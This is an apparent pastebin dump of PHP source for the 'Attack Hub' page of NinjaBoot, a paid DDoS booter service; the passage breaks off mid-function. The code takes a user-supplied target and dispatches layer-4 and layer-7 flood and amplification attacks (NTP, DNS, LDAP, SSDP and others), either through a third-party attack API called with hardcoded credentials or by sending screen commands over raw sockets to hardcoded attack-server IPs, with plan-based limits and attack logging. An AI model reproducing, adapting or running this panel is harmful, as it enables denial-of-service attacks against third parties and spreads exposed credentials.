Advertisement
Guest User

Untitled

a guest
Apr 5th, 2018
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 62.24 KB | None | 0 0
  1. <?php
  2. session_start();
  3. ob_start();
  4. require_once 'includedankshit/db.php';
  5. require_once 'includedankshit/init.php';
  6. if (!($user -> LoggedIn()))
  7. {
  8.     header('location: login.php');
  9.     die();
  10. }
  11. if (!($user -> notBanned($odb)))
  12. {
  13.     header('location: login.php');
  14.     die();
  15. }
  16.  
  17. $SQL = $odb->prepare("SELECT preset FROM `users` WHERE `ID` = :id");
  18. $SQL->execute(array(":id" =>$_SESSION['ID']));
  19. if( $SQL->fetchColumn(0) == 1 )
  20.         header('location: /resetpass.php');
  21.  
  22. $user->hasMembership($odb);
  23.  
  24. $stats->updateActivity($odb, $_SESSION['ID']);
  25.  
  26. ?>
  27. <!DOCTYPE html>
  28. <html>
  29.     <head>
  30.         <meta charset="utf-8">
  31.         <meta name="viewport" content="width=device-width, initial-scale=1.0">
  32.         <meta name="description" content="NinjaBoot is the #1 best booter / stresser on the market. We specialize in powerful layer-4 attacks.">
  33.         <meta name="keywords" content="booter, stresser, ip stresser, ip booter, ddoser, ddos tool, ddos, best booter, best stresser, minecraft ddos, minecraft stresser, minecraft booter, cheap booter, cheap stresser, skype resolver, cloudflare resolver, ssyn, udp, tcp, dns, stress testing">
  34.         <meta name="author" content="Mr. Miyagi">
  35.  
  36.         <!-- App Favicon -->
  37.         <link rel="apple-touch-icon" sizes="57x57" href="assets/favicon/apple-icon-57x57.png">
  38.         <link rel="apple-touch-icon" sizes="60x60" href="assets/favicon/apple-icon-60x60.png">
  39.         <link rel="apple-touch-icon" sizes="72x72" href="assets/favicon/apple-icon-72x72.png">
  40.         <link rel="apple-touch-icon" sizes="76x76" href="assets/favicon/apple-icon-76x76.png">
  41.         <link rel="apple-touch-icon" sizes="114x114" href="assets/favicon/apple-icon-114x114.png">
  42.         <link rel="apple-touch-icon" sizes="120x120" href="assets/favicon/apple-icon-120x120.png">
  43.         <link rel="apple-touch-icon" sizes="144x144" href="assets/favicon/apple-icon-144x144.png">
  44.         <link rel="apple-touch-icon" sizes="152x152" href="assets/favicon/apple-icon-152x152.png">
  45.         <link rel="apple-touch-icon" sizes="180x180" href="assets/favicon/apple-icon-180x180.png">
  46.         <link rel="icon" type="image/png" sizes="192x192"  href="assets/favicon/android-icon-192x192.png">
  47.         <link rel="icon" type="image/png" sizes="32x32" href="assets/favicon/favicon-32x32.png">
  48.         <link rel="icon" type="image/png" sizes="96x96" href="assets/favicon/favicon-96x96.png">
  49.         <link rel="icon" type="image/png" sizes="16x16" href="assets/favicon/favicon-16x16.png">
  50.         <link rel="manifest" href="/manifest.json">
  51.         <meta name="msapplication-TileColor" content="#ffffff">
  52.         <meta name="msapplication-TileImage" content="assets/favicon/ms-icon-144x144.png">
  53.         <meta name="theme-color" content="#ffffff">
  54.  
  55.         <!-- DataTables -->
  56.         <link href="assets/plugins/datatables/jquery.dataTables.min.css" rel="stylesheet" type="text/css" />
  57.         <link href="assets/plugins/datatables/buttons.bootstrap.min.css" rel="stylesheet" type="text/css" />
  58.         <link href="assets/plugins/datatables/fixedHeader.bootstrap.min.css" rel="stylesheet" type="text/css" />
  59.         <link href="assets/plugins/datatables/responsive.bootstrap.min.css" rel="stylesheet" type="text/css" />
  60.         <link href="assets/plugins/datatables/scroller.bootstrap.min.css" rel="stylesheet" type="text/css" />
  61.        
  62.         <!-- Custom box css -->
  63.         <link href="assets/plugins/custombox/dist/custombox.min.css" rel="stylesheet">
  64.  
  65.         <title>NinjaBoot - Attack Hub</title>
  66. <!--Start of Tawk.to Script-->
  67. <script type="text/javascript">
  68. var Tawk_API=Tawk_API||{}, Tawk_LoadStart=new Date();
  69. (function(){
  70. var s1=document.createElement("script"),s0=document.getElementsByTagName("script")[0];
  71. s1.async=true;
  72. s1.src='https://embed.tawk.to/5946f27d50fd5105d0c81b26/default';
  73. s1.charset='UTF-8';
  74. s1.setAttribute('crossorigin','*');
  75. s0.parentNode.insertBefore(s1,s0);
  76.  
  77. Tawk_API = Tawk_API || {};
  78. Tawk_API.visitor = {
  79.     name  : '<?php echo strip_tags(htmlentities($_SESSION['username'])); ?>',
  80.    
  81. };
  82. })();
  83. </script>
  84. <!--End of Tawk.to Script-->
  85.         <!-- App css -->
  86.         <link href="assets/css/bootstrap.min.css" rel="stylesheet" type="text/css" />
  87.         <link href="assets/css/core.css" rel="stylesheet" type="text/css" />
  88.         <link href="assets/css/components.css" rel="stylesheet" type="text/css" />
  89.         <link href="assets/css/icons.css" rel="stylesheet" type="text/css" />
  90.         <link href="assets/css/pages.css" rel="stylesheet" type="text/css" />
  91.         <link href="assets/css/menu_dark.css" rel="stylesheet" type="text/css" />
  92.         <link href="assets/css/responsive.css" rel="stylesheet" type="text/css" />
  93.  
  94.         <!-- HTML5 Shiv and Respond.js IE8 support of HTML5 elements and media queries -->
  95.         <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
  96.         <!--[if lt IE 9]>
  97.         <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
  98.         <script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script>
  99.         <![endif]-->
  100.  
  101.         <script src="assets/js/modernizr.min.js"></script>
  102.    
  103.     </head>
  104.  
  105.     <body class="fixed-left">
  106.  
  107.         <!-- Begin page -->
  108.         <div id="wrapper">
  109.  
  110.             <!-- Top Bar Start -->
  111.             <div class="topbar">
  112.  
  113.                 <!-- LOGO -->
  114.                 <div class="topbar-left">
  115.                     <a href="index.html" class="logo"><span>Ninja<span>Boot</span></span><i class="zmdi zmdi-layers"></i></a>
  116.                 </div>
  117.  
  118.                 <!-- Button mobile view to collapse sidebar menu -->
  119.                 <div class="navbar navbar-default" role="navigation">
  120.                     <div class="container">
  121.  
  122.                         <!-- Page title -->
  123.                         <ul class="nav navbar-nav navbar-left">
  124.                             <li>
  125.                                 <button class="button-menu-mobile open-left">
  126.                                     <i class="zmdi zmdi-menu"></i>
  127.                                 </button>
  128.                             </li>
  129.                             <li>
  130.                                 <h3 class="page-title">Attack Hub - Clear Your Attack Logs Often</h3>
  131.                             </li>
  132.                         </ul>
  133.  
  134.                     </div><!-- end container -->
  135.                 </div><!-- end navbar -->
  136.             </div>
  137.             <!-- Top Bar End -->
  138.  
  139.  
  140.             <!-- ========== Left Sidebar Start ========== -->
  141.             <div class="left side-menu">
  142.                 <div class="sidebar-inner slimscrollleft">
  143.  
  144.                     <!-- User -->
  145.                     <div class="user-box">
  146.                         <div class="user-img">
  147.                             <img src="assets/images/users/avatar-1.jpg" alt="user-img" title="Mat Helme" class="img-circle img-thumbnail img-responsive">
  148.                             <div class="user-status online"><i class="zmdi zmdi-dot-circle"></i></div>
  149.                         </div>
  150.                         <h5><a href="#"><?php echo strip_tags(htmlentities($_SESSION['username'])); ?></a> </h5>
  151.                         <ul class="list-inline">
  152.                             <li>
  153.                                 <a href="profile.php" >
  154.                                     <i class="zmdi zmdi-settings"></i>
  155.                                 </a>
  156.                             </li>
  157.  
  158.                             <li>
  159.                                 <a href="logout.php" class="text-custom">
  160.                                     <i class="zmdi zmdi-power"></i>
  161.                                 </a>
  162.                             </li>
  163.                         </ul>
  164.                     </div>
  165.                     <!-- End User -->
  166.  
  167.                     <!--- Sidemenu -->
  168.                     <div id="sidebar-menu">
  169.                         <ul>
  170.                             <li class="text-muted menu-title">Navigation</li>
  171.  
  172.                             <li>
  173.                                 <a href="dashboard.php" class="waves-effect"><i class="zmdi zmdi-window-restore"></i> <span> Dashboard </span> </a>
  174.                             </li>
  175.  
  176.                             <li>
  177.                                 <a href="attack.php" class="waves-effect active"><i class="zmdi zmdi-fire"></i> <span> Attack Hub </span> </a>
  178.                             </li>
  179.  
  180.                             <li>
  181.                                 <a href="tools.php" class="waves-effect"><i class="zmdi zmdi-wrench"></i> <span> Tools Hub </span> </a>
  182.                             </li>
  183.  
  184.                             <li>
  185.                                 <a href="purchase.php" class="waves-effect"><i class="zmdi zmdi-shopping-cart"></i> <span> Purchase </span> </a>
  186.                             </li>
  187.                             <li>
  188.                                 <a href="refers.php" class="waves-effect"><i class="zmdi zmdi-accounts-add"></i> <span> Referrals </span> </a>
  189.                             </li>
  190.  
  191.                             <li class="has_sub">
  192.                                 <a href="javascript:void(0);" class="waves-effect"><i class="zmdi zmdi-comment-more"></i> <span> Support </span> <span class="menu-arrow"></span></a>
  193.                                 <ul class="list-unstyled">
  194.                                     <li><a href="tickets.php">Manage Tickets</a></li>
  195.                                     <li><a href="faq.php">Frequent Questions</a></li>
  196.                                 </ul>
  197.                             </li>
  198.  
  199.                             <?php
  200.         if ($user -> isAdmin($odb))
  201.         {
  202.  
  203.         ?>
  204.  
  205.                             <li class="has_sub">
  206.                                 <a href="javascript:void(0);" class="waves-effect"><i class="zmdi zmdi-coffee"></i> <span> Admin Panel </span> <span class="menu-arrow"></span></a>
  207.                                 <ul class="list-unstyled">
  208.                                     <li><a href="acadiasprings/dashboard.php">Dashboard</a></li>
  209.                                     <li><a href="acadiasprings/blacklist.php">Blacklist</a></li>
  210.                                     <li><a href="acadiasprings/manage-users.php">Manage Users</a></li>
  211.                                     <li><a href="acadiasprings/manage-tickets.php">Manage Tickets</a></li>
  212.                                     <li><a href="acadiasprings/payment-logs.php">Payment Logs</a></li>
  213.                                     <li><a href="acadiasprings/attack-logs.php">Attack Logs</a></li>
  214.                                     <li><a href="acadiasprings/attack-manager.php">Attack Manager</a></li>
  215.                                 </ul>
  216.                             </li>
  217.  
  218.                             <?php
  219.         }
  220.         ?>
  221.  
  222.                             <?php
  223.         if ($user -> isMod($odb))
  224.         {
  225.  
  226.         ?>
  227.  
  228.                             <li class="has_sub">
  229.                                 <a href="javascript:void(0);" class="waves-effect"><i class="zmdi zmdi-coffee"></i> <span> Mod Panel </span> <span class="menu-arrow"></span></a>
  230.                                 <ul class="list-unstyled">
  231.                                     <li><a href="acadiasprings/blacklist.php">Blacklist</a></li>
  232.                                     <li><a href="acadiasprings/manage-users.php">Manage Users</a></li>
  233.                                     <li><a href="acadiasprings/manage-tickets.php">Manage Tickets</a></li>
  234.                                 </ul>
  235.                             </li>
  236.  
  237.                             <?php
  238.         }
  239.         ?>
  240.  
  241.                         </ul>
  242.                         <div class="clearfix"></div>
  243.                     </div>
  244.                     <!-- Sidebar -->
  245.                     <div class="clearfix"></div>
  246.  
  247.                 </div>
  248.  
  249.             </div>
  250.             <!-- Left Sidebar End -->
  251.  
  252. <!-- ============================================================== -->
  253.             <!-- Start right Content here -->
  254.             <!-- ============================================================== -->
  255.             <div class="content-page">
  256.                 <!-- Start content -->
  257.                 <div class="content">
  258.                     <div class="container">
  259.  
  260.                     <div class="row">
  261.  
  262.                                          <?php
  263.  
  264.  
  265.                                         function generateRandomString($length = 10) {
  266.     $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  267.     $charactersLength = strlen($characters);
  268.     $randomString = '';
  269.     for ($i = 0; $i < $length; $i++) {
  270.         $randomString .= $characters[rand(0, $charactersLength - 1)];
  271.     }
  272.     return $randomString;
  273. }
  274.  
  275. $_CONFIG['l4_methods'] = array('CHARGEN', 'SSDP', 'LAG', 'ESSYN', 'VSE', 'OVH', 'NTP', 'DNS', 'DOMINATE', 'STCP', 'ABUSE', 'LDAP', 'SUDP', 'XACK', 'OVH');
  276. $_CONFIG['l7_methods'] = array('GET', 'JOOMLA', 'HTTP');
  277. $_CONFIG['vip_plans'] = array('12', '13', '14', '15', '69');
  278. $port_options = array("options" => array("min_range" => 1, "max_range" => 65535));
  279.  
  280.  
  281.                                             if(isset($_POST['attackBtn'])){
  282.                                                
  283.                                                    
  284.                                                         $host = escapeshellcmd(strip_tags(htmlentities($_POST['host'])));
  285.                                                         $port = intval($_POST['port']);
  286.                                                         $network = intval($_POST['network']);
  287.                                                         $time = intval($_POST['time']);
  288.                                                         $token = generateRandomString();
  289.                                                         $method = strip_tags(htmlentities($_POST['method']));
  290.  
  291.                                                         $SQLGetTime = $odb->prepare("SELECT `plans`.`mbt` FROM `plans` LEFT JOIN `users` ON `users`.`membership` = `plans`.`ID` WHERE `users`.`ID` = :id");
  292.                                                         $SQLGetTime->execute(array(':id' => $_SESSION['ID']));
  293.                                                         $maxTime = $SQLGetTime -> fetchColumn(0);
  294.  
  295.                                                         $SQLGrabVIP = $odb->prepare("SELECT `membership` FROM `users` WHERE `ID` = :id");
  296.                                                         $SQLGrabVIP->execute(array(':id' => $_SESSION['ID']));
  297.                                                         $SQLGrab = $SQLGrabVIP -> fetchColumn(0);
  298.  
  299.                                                         if(empty($host) || empty($time) || empty($port) || empty($method)){
  300.                                                             echo $design->alert('danger', 'Error', 'Please fill in all fields!');
  301.                                                         } else if (!is_numeric($time)) {
  302.                                                             echo $design->alert('danger', 'Error', 'Invalid Time! (1 - '.$maxTime.')');
  303.                                                            } else if (strpos($time, "-") !== false) {
  304.                                                             echo $design->alert('danger', 'Error', 'Invalid Time (1 - '.$maxTime.')');
  305.                                                            } else if (!filter_var($host, FILTER_VALIDATE_IP) && in_array($method, $_CONFIG['l4_methods'])) {
  306.                                                                 echo $design->alert('danger', 'Error', 'Invalid IPv4 Host! (8.8.8.8)');
  307.                                                             } else if (!filter_var($host, FILTER_VALIDATE_URL) && in_array($method, $_CONFIG['l7_methods'])) {
  308.                                                                 echo $design->alert('danger', 'Error', 'Invalid URL Host! (http://example.tld/)');
  309.                                                             } else if (!filter_var($port, FILTER_VALIDATE_INT, $port_options)) {
  310.                                                                 echo $design->alert('danger', 'Error', 'Invalid Port Range! (1 - 65535)');
  311.                                                             } else if (!in_array($method, $_CONFIG['l4_methods']) && !in_array($method, $_CONFIG['l7_methods'])) {
  312.                                                                 echo $design->alert('danger', 'Error', 'Invalid Method!');
  313.                                                             } else if (!in_array($method, $_CONFIG['l4_methods']) && in_array($method, $_CONFIG['l7_methods']) && strpos($host, ".gov")) {
  314.                                                                 echo $design->alert('danger', 'Error', 'Blacklisted Host!');
  315.                                                             } else if (!in_array($method, $_CONFIG['l4_methods']) && in_array($method, $_CONFIG['l7_methods']) && strpos($host, ".il")) {
  316.                                                                 echo $design->alert('danger', 'Error', 'Blacklisted Host!');
  317.                                                             } else if ($network == 2 && !in_array($SQLGrab, $_CONFIG['vip_plans'])) {
  318.                                                                 echo $design->alert('danger', 'Error', 'Nice Try!');
  319.                                                             } else {
  320.                                                                 $SQLCheckBlacklist = $odb->prepare("SELECT COUNT(*) FROM `blacklist` WHERE `IP` = :host");
  321.                                                                 $SQLCheckBlacklist->execute(array(':host' => $host));
  322.                                                                 $countBlacklist = $SQLCheckBlacklist -> fetchColumn(0);
  323.                                                                 if($countBlacklist != 0){
  324.                                                                     echo $design->alert('danger', 'Error', 'Blacklisted Host!');
  325.                                                                 } else {
  326.                                                                     $checkRunningSQL = $odb->prepare("SELECT COUNT(*) FROM `logs` WHERE `user` = :username  AND `time` + `date` > UNIX_TIMESTAMP() AND `stopped` = '0' ");
  327.                                                                     $checkRunningSQL->execute(array(':username' => $_SESSION['username']));
  328.                                                                     $countRunning = $checkRunningSQL -> fetchColumn(0);
  329.  
  330.                                                                     $checkConSQL = $odb->prepare("SELECT SUM(`conc`) FROM `plans` LEFT JOIN `users` ON `users`.`membership` = `plans`.`ID` WHERE `users`.`ID` = :id");
  331.                                                                     $checkConSQL->execute(array(':id' => $_SESSION['ID']));
  332.                                                                     $maxCon = $checkConSQL -> fetchColumn(0);
  333.  
  334.                                                                     if($countRunning < $maxCon){
  335.                                                              
  336.                                                                         if(!($time > $maxTime)){
  337.  
  338.                                                                             $username1 = $_SESSION['username'];
  339.  
  340.                                                                             if ($method == "HTTP") {
  341.                                                                                
  342.                                                                                 $curl = curl_init();
  343.                                                                                 curl_setopt_array($curl, array(
  344.                                                                                     CURLOPT_RETURNTRANSFER => 1,
  345.                                                                                     CURLOPT_URL => "http://api.buyapi.ninja/?host=$host&method=http&port=$port&time=$time&username=Saint4145&password=ZQ2yj[!vfx.s5jJ?",
  346.                                                                                     CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0',
  347.                                                                                     CURLOPT_CONNECTTIMEOUT  => 5
  348.                                                                                 ));
  349.                                                                                
  350.                                                                                 curl_exec($curl);
  351.                                                                                 curl_close($curl);
  352.                                                                                
  353.                                                                                 $insertLogSQL = $odb ->prepare("INSERT INTO `logs` VALUES(NULL, :user, :token, :ip, :port, :network, :time, :method, UNIX_TIMESTAMP(), '0', :server_id)");
  354.                                                                                 $insertLogSQL->execute(array(':user' => $username1, ':token' => $token, ':ip' => $host, ':port' => $port, ':network' => $network, ':time' => $time, ':method' => $method, ':server_id' => '0'));
  355.                                                                                                    
  356.                                                                                 echo $design->alert('success', 'Success', 'Attack has been started on '.$host.':'.$port.' for '.$time.' seconds!');
  357.                                                                                
  358.                                                                             }   else if ($method == "OVH") {
  359.                                                                                
  360.                                                                                 $curl = curl_init();
  361.                                                                                 curl_setopt_array($curl, array(
  362.                                                                                     CURLOPT_RETURNTRANSFER => 1,
  363.                                                                                     CURLOPT_URL => "http://api.buyapi.ninja/?host=$host&method=udpplain&port=$port&time=$time&username=Saint4145&password=ZQ2yj[!vfx.s5jJ?",
  364.                                                                                     CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0',
  365.                                                                                     CURLOPT_CONNECTTIMEOUT  => 5
  366.                                                                                 ));
  367.                                                                                
  368.                                                                                 curl_exec($curl);
  369.                                                                                 curl_close($curl);
  370.                                                                                
  371.                                                                                 $insertLogSQL = $odb ->prepare("INSERT INTO `logs` VALUES(NULL, :user, :token, :ip, :port, :network, :time, :method, UNIX_TIMESTAMP(), '0', :server_id)");
  372.                                                                                 $insertLogSQL->execute(array(':user' => $username1, ':token' => $token, ':ip' => $host, ':port' => $port, ':network' => $network, ':time' => $time, ':method' => $method, ':server_id' => '0'));
  373.                                                                                                    
  374.                                                                                 echo $design->alert('success', 'Success', 'Attack has been started on '.$host.':'.$port.' for '.$time.' seconds!');
  375.  
  376.                                                                             } else if ($method == "JOOMLA") {
  377.                                                            
  378.                                                                                 $curl = curl_init();
  379.                                                                                 curl_setopt_array($curl, array(
  380.                                                                                     CURLOPT_RETURNTRANSFER => 1,
  381.                                                                                     CURLOPT_URL => "http://api.buyapi.ninja/?host=$host&method=Joomla&port=$port&time=$time&username=Saint4145&password=ZQ2yj[!vfx.s5jJ?",
  382.                                                                                     CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0',
  383.                                                                                     CURLOPT_CONNECTTIMEOUT  => 5
  384.                                                                                 ));
  385.                                                                                
  386.                                                                                 curl_exec($curl);
  387.                                                                                 curl_close($curl);
  388.                                                                                
  389.                                                                                 $insertLogSQL = $odb ->prepare("INSERT INTO `logs` VALUES(NULL, :user, :token, :ip, :port, :network, :time, :method, UNIX_TIMESTAMP(), '0', :server_id)");
  390.                                                                                 $insertLogSQL->execute(array(':user' => $username1, ':token' => $token, ':ip' => $host, ':port' => $port, ':network' => $network, ':time' => $time, ':method' => $method, ':server_id' => '0'));
  391.                                                                                                    
  392.                                                                                 echo $design->alert('success', 'Success', 'Attack has been started on '.$host.':'.$port.' for '.$time.' seconds!');
  393.  
  394.                                                                             } else {
  395.                                                                                
  396.                                                                                 $servers = array();
  397.  
  398.                                                                                 $SQLGetAPIs = $odb -> query("SELECT * FROM `servers`");
  399.                                                                                 while($info = $SQLGetAPIs -> fetch(PDO::FETCH_ASSOC)) {
  400.                                                                                     array_push($servers, $info['last_used']);
  401.                                                                                 }
  402.  
  403.                                                                                 $getServer = min($servers);
  404.  
  405.                                                                                 $getserverSQL = $odb -> prepare("SELECT * FROM `servers` WHERE `last_used` = :last_used LIMIT 1");
  406.                                                                                 $getserverSQL -> execute(array(':last_used' => $getServer));
  407.                                                                                 $get_server = $getserverSQL -> fetch();
  408.  
  409.                                                                                 $SQLUpdate = $odb -> prepare("UPDATE `servers` SET `last_used` = :last_used WHERE `id` = :id");
  410.                                                                                 $SQLUpdate -> execute(array(':last_used' => time(), ':id' => $get_server['id']));
  411.                                                                                
  412.                                                                                 if ($method == "ESSYN" OR $method == "DOMINATE" OR $method == "STCP") {
  413.                                                                                     $get_command = "screen -dmS $username1-$token ./ESSYN $host $port 5 550000 $time";
  414.                                                                                 } else if ($method == "VSE") {
  415.                                                                                     $get_command = "screen -dmS $username1-$token ./VSE $host 5 550000 $time";
  416.                                                                                 } else if ($method == "LAG") {
  417.                                                                                     $get_command = "screen -dmS $username1-$token ./NTP $host ntp.txt 2 50000 $time";
  418.                                                                                 } else if ($method == "NTP") {
  419.                                                                                     $get_command = "screen -dmS $username1-$token ./NTP $host ntp.txt 5 550000 $time";
  420.                                                                                 } else if ($method == "XACK") {
  421.                                                                                     $get_command = "screen -dmS $username1-$token ./XACK $host $port 5 550000 $time";
  422.                                                                                 } else if ($method == "DNS") {
  423.                                                                                     $get_command = "screen -dmS $username1-$token ./DNS $host $port dns.txt 4 $time";
  424.                                                                                 } else if ($method == "SUDP") {
  425.                                                                                     $get_command = "screen -dmS $username1-$token ./SUDP $host 5 6 $time";
  426.                                                                                 } else if ($method == "LDAP") {
  427.                                                                                     $get_command = "screen -dmS $username1-$token ./LDAP $host $port ldap.txt 4 550000 $time";
  428.                                                                                 } else if ($method == "SSDP") {
  429.                                                                                     $get_command = "screen -dmS $username1-$token ./SSDP $host $port ssdp.txt 5 550000 $time";
  430.                                                                                 } else {
  431.                                                                                     $get_command = "screen -dmS $username1-$token ./DNS $host $port dns.txt 4 $time";
  432.                                                                                 }
  433.  
  434.                                                                                 if ($network == 1) {
  435.  
  436.                                                                                     $socket = socket_create(AF_INET, SOCK_STREAM, 0);
  437.                                                                                     $result = socket_connect($socket, $get_server['server_ip'], 5051);
  438.                                                                                     socket_write($socket, "UziCaNnNSuCcNuTS1322|$get_command");
  439.                                                                                     socket_close($socket);
  440.  
  441.                                                                                 } else if ($network == 2) {
  442.  
  443.                                                                                     $socket = socket_create(AF_INET, SOCK_STREAM, 0);
  444.                                                                                     $result = socket_connect($socket, '185.191.239.194', 5051);
  445.                                                                                     socket_write($socket, "UziCaNnNSuCcNuTS1322|$get_command");
  446.                                                                                     socket_close($socket);
  447.                                                                                    
  448.                                                                                     $socket = socket_create(AF_INET, SOCK_STREAM, 0);
  449.                                                                                     $result = socket_connect($socket, '91.212.150.239', 5051);
  450.                                                                                     socket_write($socket, "UziCaNnNSuCcNuTS1322|$get_command");
  451.                                                                                     socket_close($socket);
  452.  
  453.                                                                                 }
  454.                                                                                
  455.                                                                                 $insertLogSQL = $odb ->prepare("INSERT INTO `logs` VALUES(NULL, :user, :token, :ip, :port, :network, :time, :method, UNIX_TIMESTAMP(), '0', :server_id)");
  456.                                                                                 $insertLogSQL->execute(array(':user' => $_SESSION['username'], ':token' => $token, ':ip' => $host, ':port' => $port, ':network' => $network, ':time' => $time, ':method' => $method, ':server_id' => $get_server['id']));
  457.                                                                                
  458.                                                                                 if ($network == 1) {
  459.                                                                                     echo $design->alert('success', 'Success', 'Attack has been started on '.$host.':'.$port.' for '.$time.' seconds using Attack Server '.$get_server['name'].'!');
  460.                                                                                 } else if ($network == 2) {
  461.                                                                                     echo $design->alert('success', 'Success', 'Attack has been started on '.$host.':'.$port.' for '.$time.' seconds using all Attack Servers');
  462.                                                                                 }
  463.                                                                                
  464.                                                                             }
  465.  
  466.                                                                         } else {
  467.                                                                             echo $design->alert('danger', 'Error', 'Your maximum boot time is '.$maxTime.'!');
  468.                                                                         }
  469.                                                                 } else {
  470.                                                                     echo $design->alert('danger', 'Error', 'No more concurrents available, Consider upgrading!');
  471.                                                                 }
  472.                                                             }
  473.                                                         }
  474.                                                    
  475.                                                 }
  476.                                            
  477.                                            
  478.                                            
  479.                                         ?>
  480.  
  481.                                         <?php
  482.                                 if(isset($_POST['stopBtn'])) {
  483.                                        
  484.                                         $attackID = intval($_POST['attackID']);
  485.                                        
  486.                                             $SQLSelect = $odb -> prepare("SELECT * FROM `logs` WHERE `id` = :id AND `stopped` = '0' LIMIT 1");
  487.                                             $SQLSelect -> execute(array(':id' => $attackID));
  488.                                             while ($show = $SQLSelect -> fetch(PDO::FETCH_ASSOC))
  489.                                             {
  490.                                                 $host = $show['ip'];
  491.                                                 $port = $show['port'];
  492.                                                 $time = $show['time'];
  493.                                                 $username1 = $_SESSION['username'];
  494.                                                 $token = $show['token'];
  495.                                                 $network2 = $show['network'];
  496.                                                 $methodcheck = $show['method'];
  497.                                                 $server_id = $show['server_id'];
  498.                                                
  499.                                                 $odb->query("UPDATE `logs` SET `stopped` = '1' WHERE `id` = '".$attackID."'");
  500.                                                
  501.                                                  if ($methodcheck == "HTTP" || $methodcheck == "OVH") {
  502.                                                     $curl = curl_init();
  503.                                                     curl_setopt_array($curl, array(
  504.                                                         CURLOPT_RETURNTRANSFER => 1,
  505.                                                         CURLOPT_URL => "http://api.buyapi.ninja/?host=$host&method=stop&port=$port&time=$time&username=Saint4145&password=ZQ2yj[!vfx.s5jJ?",
  506.                                                         CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0',
  507.                                                         CURLOPT_CONNECTTIMEOUT  => 5
  508.                                                     ));
  509.                                                    
  510.                                                     curl_exec($curl);
  511.                                                     curl_close($curl);
  512.                                                    
  513.                                                     echo $design->alert('success', 'Success', 'Attack has been stopped!');
  514.                                                
  515.                                                
  516.                                                
  517.                                                
  518.  
  519.                                                   } else if ($methodcheck == "JOOMLA") {
  520.                                                    
  521.                                                     $curl = curl_init();
  522.                                                     curl_setopt_array($curl, array(
  523.                                                         CURLOPT_RETURNTRANSFER => 1,
  524.                                                         CURLOPT_URL => "http://api.buyapi.ninja/?host=$host&method=stop&port=$port&time=$time&username=Saint4145&password=ZQ2yj[!vfx.s5jJ?",
  525.                                                         CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0',
  526.                                                         CURLOPT_CONNECTTIMEOUT  => 5
  527.                                                     ));
  528.                                                    
  529.                                                     curl_exec($curl);
  530.                                                     curl_close($curl);
  531.                                                    
  532.                                                     echo $design->alert('success', 'Success', 'Attack has been stopped!');
  533.  
  534.                                                 } else {
  535.                                            
  536.                                                 $getserverSQL = $odb -> prepare("SELECT * FROM `servers` WHERE `id` = :id LIMIT 1");
  537.                                                 $getserverSQL -> execute(array(':id' => $server_id));
  538.                                                 $get_server = $getserverSQL -> fetch();
  539.  
  540.                                                     if ($network2 == 1) {
  541.                                                                            
  542.                                                         $socket = socket_create(AF_INET, SOCK_STREAM, 0);
  543.                                                         $result = socket_connect($socket, $get_server['server_ip'], 5051);
  544.                                                         socket_write($socket, "UziCaNnNSuCcNuTS1322|pkill -f $username1-$token");
  545.                                                         socket_close($socket);
  546.  
  547.                                                     } else if ($network2 == 2) {
  548.  
  549.                                                         $socket = socket_create(AF_INET, SOCK_STREAM, 0);
  550.                                                         $result = socket_connect($socket, '185.191.239.194', 5051);
  551.                                                         socket_write($socket, "UziCaNnNSuCcNuTS1322|pkill -f $username1-$token");
  552.                                                         socket_close($socket);
  553.  
  554.                                                         $socket = socket_create(AF_INET, SOCK_STREAM, 0);
  555.                                                         $result = socket_connect($socket, '91.212.150.239 ', 5051);
  556.                                                         socket_write($socket, "UziCaNnNSuCcNuTS1322|pkill -f $username1-$token");
  557.                                                         socket_close($socket);
  558.  
  559.                                                     }
  560.  
  561.                                                 echo $design->alert('success', 'Success', 'Attack has been stopped!');
  562.  
  563.                                             }
  564.  
  565.                                                
  566.                                                 }                
  567.      
  568.                                     }
  569.                                 ?>
  570.  
  571.                                     <?php
  572.  
  573.                                         function generateRandomString2($length = 10) {
  574.     $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  575.     $charactersLength = strlen($characters);
  576.     $randomString = '';
  577.     for ($i = 0; $i < $length; $i++) {
  578.         $randomString .= $characters[rand(0, $charactersLength - 1)];
  579.     }
  580.     return $randomString;
  581. }
  582.  
  583.                                 if(isset($_POST['renewBtn'])) {
  584.  
  585.                                 $checkRunningSQL = $odb->prepare("SELECT COUNT(*) FROM `logs` WHERE `user` = :username  AND `time` + `date` > UNIX_TIMESTAMP() AND `stopped` = '0' ");
  586.                                    $checkRunningSQL->execute(array(':username' => $_SESSION['username']));
  587.                                    $countRunning = $checkRunningSQL -> fetchColumn(0);
  588.                                    $checkConSQL = $odb->prepare("SELECT SUM(`conc`) FROM `plans` LEFT JOIN `users` ON `users`.`membership` = `plans`.`ID` WHERE `users`.`ID` = :id");
  589.                                    $checkConSQL->execute(array(':id' => $_SESSION['ID']));
  590.                                    $maxCon = $checkConSQL -> fetchColumn(0);
  591.  
  592.                                    if($countRunning < $maxCon){
  593.                                    $SQLGetTime = $odb->prepare("SELECT `plans`.`mbt` FROM `plans` LEFT JOIN `users` ON `users`.`membership` = `plans`.`ID` WHERE `users`.`ID` = :id");
  594.                                    $SQLGetTime->execute(array(':id' => $_SESSION['ID']));
  595.                                    $maxTime = $SQLGetTime -> fetchColumn(0);
  596.                                    if(!($time > $maxTime)) {
  597.                                        
  598.                                         $attackID = intval($_POST['attackID']);
  599.                                        
  600.                                             $SQLSelect = $odb -> prepare("SELECT * FROM `logs` WHERE `id` = :id LIMIT 1");
  601.                                             $SQLSelect -> execute(array(':id' => $attackID));
